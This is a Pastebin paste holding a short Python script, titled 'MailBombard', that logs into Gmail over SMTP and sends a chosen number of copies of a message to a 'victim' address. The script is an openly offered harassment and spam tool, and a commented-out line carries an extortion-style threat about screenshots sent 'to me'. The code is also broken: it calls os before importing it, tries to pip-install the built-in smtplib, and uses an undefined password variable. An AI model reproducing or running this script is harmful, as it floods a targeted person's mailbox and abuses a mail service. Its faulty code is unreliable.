Advertisement
FlyFar

MailBombard - Python Gmail Spam

Jan 30th, 2023
935
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.15 KB | Cybersecurity | 0 0
  1. try:
  2.     import smtplib  # create smtp module to start the connection with the google's mail server diretly in non-interactive manner
  3. except:
  4.     hide_cmd = os.system("pip install smtplib")
  5.    
  6. import os
  7. import sys
  8. server = smtplib.SMTP('smtp.gmail.com',587) # connecting with gmail smtp server with port number of 587
  9.    
  10. server.starttls() # initiating the tls handshake while connecting to the server
  11.    
  12.  
  13. email    = input("Enter Your Email : ")
  14.            
  15.  
  16.    # authentication check
  17. if not  email:
  18.     print ("User not logged in")
  19. else:
  20.     server.login(email,password)
  21.     print ("Successfully Signed in")
  22.    
  23.     # victim information
  24.     send = input("Enter Your Victim Email : ")
  25.  
  26.     print("Amount of bombarding messages?")
  27.                
  28.     mailnumber= int(input("Count : "))  # number of mail messeges to be sent
  29.                
  30.  
  31.     messagetovic = input("Enter Your Message :\n")
  32.                
  33.                
  34.  
  35.     for count in range(int(mailnumber)):
  36.         server.sendmail(email , send , messagetovic)
  37.         # server.sendmail(fromaddr, toaddrs, msg)
  38.        
  39.         # print (count,"Your system screenshots are captured remotely and sent to me, daily!!!! :)! : ")
  40.  
  41.  
  42.     server.quit()
  43.         # print("You have not Chosen 'gmail' ")        
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement